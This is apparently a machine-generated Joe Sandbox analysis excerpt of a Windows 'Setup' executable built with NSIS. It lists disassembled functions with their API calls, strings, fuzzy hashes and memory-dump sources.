Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
`G, xrefs: 0040246E

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00020600,00000064,001079F5), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(00000000), ref: 00402387

Strings

183, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: 183$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-1205510115
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(00000000), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
